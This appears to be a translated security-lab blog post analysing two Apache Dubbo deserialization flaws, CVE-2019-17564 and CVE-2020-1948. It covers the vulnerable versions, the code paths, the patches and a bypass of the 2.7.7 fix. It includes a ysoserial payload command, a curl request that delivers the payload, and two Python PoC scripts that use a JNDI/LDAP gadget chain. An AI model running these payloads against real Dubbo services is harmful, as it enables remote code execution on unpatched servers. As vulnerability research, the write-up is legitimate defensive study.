preface
Learn the classic vulnerabilities of Apache Dubbo series
CVE-2019-17564
0x01 version affected
-
Dubbo 2.7.0 to 2.7.4
-
Dubbo 2.6.0 to 2.6.7
-
Dubbo all 2.5.x versions
0x02 environmental preparation
https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-http Download the source code, switch the Dubbo version in pom, and find that the version with the vulnerability cannot be found. Manually download the jar package, add it, and add the exploitable dependency common collections 3 two
0x03 vulnerability analysis
After dubbo starts the http protocol, all requests through the http protocol will pass through
org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle method, so break the point here
Using ysoserial to generate payload
java -jar ysoserial.jar CommonsCollections6 "/System/Applications/Calculator.app/Contents/MacOS/Calculator">cc6
Then send
curl http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService --data-binary @cc6
We'll find the break at our breakpoint and track down
Line 170 will find the processor according to the path we passed in. Let's take a look at this Value of skeletonmap
key corresponds to the request path, and value is an instance of HttpInvokerServiceExporter class; Then, in line 177, use the obtained processor to process the request, and call
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest
The request is then sent to
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation(javax.servlet.http.HttpServletRequest) method
This method passes in the request object and the serialized content we sent
org. springframework. remoting. httpinvoker. In the servlet (HTTP # invokeinput. Java)
In this method, we will first convert the serialized content we passed into ObjectInputStream type, and then pass it into org springframework. remoting. rmi. Remoteinvocationserializing exporter #doreadremoteinvocation method
In this method, the incoming
The ObjectInputStream object is deserialized, resulting in the triggering of the exploit chain
0x04 vulnerability repair
Switch Dubbo to a higher version for debugging and find it at org apache. dubbo. rpc. protocol. http. HttpProtocol. The internal handler #handle replaces the request processor HttpInvokerServiceExporter with JsonRpcServer. In subsequent processing, there is no deserialization operation
CVE-2020-1948
0x01 version affected
-
Dubbo 2.7.0 to 2.7.6
-
Dubbo 2.6.0 to 2.6.7
-
Dubbo all 2.5.x versions
0x02 vulnerability analysis
reference resources https://www.cnblogs.com/zhengjim/p/13204194.html The environment construction part of the test, refer to the online use script
from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client = DubboClient('127.0.0.1', 20880) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8001", strMatchColumns=["foo"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='xxx', service_version="", method_name='yyy', args=[toStringBean]) print(resp)
Because the chain of ROM components is used to complete the utilization, it is directly in the ROM call chain
com. rometools. rome. feed. impl. Drop the breakpoint at tostrimbean #tostring() and send poc. After the breakpoint is broken, look up the call stack and you can see that it is caused by
org. apache. dubbo. rpc. The rpcinvocation #tostring method enters the of tostrimbean, where the arguments contain the instance of tostrimbean
Then look up and you'll find
org. apache. dubbo. rpc. protocol. dubbo. The code in the dubboprotocol #getinvoker method triggers the later utilization process, and the key point is in an exception handling
//critical code if (exporter == null) { throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv); } else { return exporter.getInvoker(); }
inv is an instance of the DecodeableRpcInvocation class, which stores the above-mentioned arguments
In the process of handling exceptions, the toString method will be implicitly called, and then the subsequent utilization chain will be triggered; So let's analyze when an exception will be thrown
When the exporter is null, exception handling will be performed, that is, in this The value whose key value is servicekey cannot be found in the exportermap, where servicekey is the servicename requested by the user,
this.exporterMap is a service defined by the provider,
That is, when the service requested by the user cannot be found in the provider, the vulnerability will be triggered
0x03 patch analysis and bypass
Switch the dubbo version to 2.7.7, and then send the payload
Prompt Service not found:, search for exceptions
You can see that there is a judgment before throwing an exception, following the two methods in if
When the requested method name is i n v o k e , invoke, invoke, invokeAsync, $echo, one of which will not throw an exception, so we can modify the payload as follows
from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client = DubboClient('127.0.0.1', 20880) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8001", strMatchColumns=["foo"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='xxx', service_version="", method_name='$invoke', args=[toStringBean]) print(resp)
https://github.com/HyCXSS/JNDIScan jndi injection request under item detection
You can see that the ldap request from the provider has been successfully received
0x04 patch fix
Switch the version to 2.7.8 and you can see that the parameter type of the calling method has been verified
The parameter type we passed in is
Lcom/rometools/rome/feed/impl/ToStringBean; Naturally, it is inconsistent, and an exception will be thrown
Reference link
https://gv7.me/articles/2020/cve-2019-17564-dubbo-http-deserialization-vulnerability/ https://l3yx.github.io/2020/08/25/Apache-Dubbo-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E7%AC%94%E8%AE%B0/ https://www.cnblogs.com/zhengjim/p/13204194.html http://rui0.cn/archives/1338
statement
The above contents are original by the author of the article. Any direct or indirect consequences and losses caused by the dissemination and use of the information provided in this article shall be borne by the user himself, and the Changbai Mountain attack and defense laboratory and the author of the article shall not bear any responsibility.
Changbai Mountain attack and defense laboratory has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must guarantee the copy of this article, including all contents such as copyright notice. It is declared that the Changbai Mountain attack and defense laboratory is allowed to modify or increase or decrease the content of this article, and it shall not be used for commercial purposes in any way.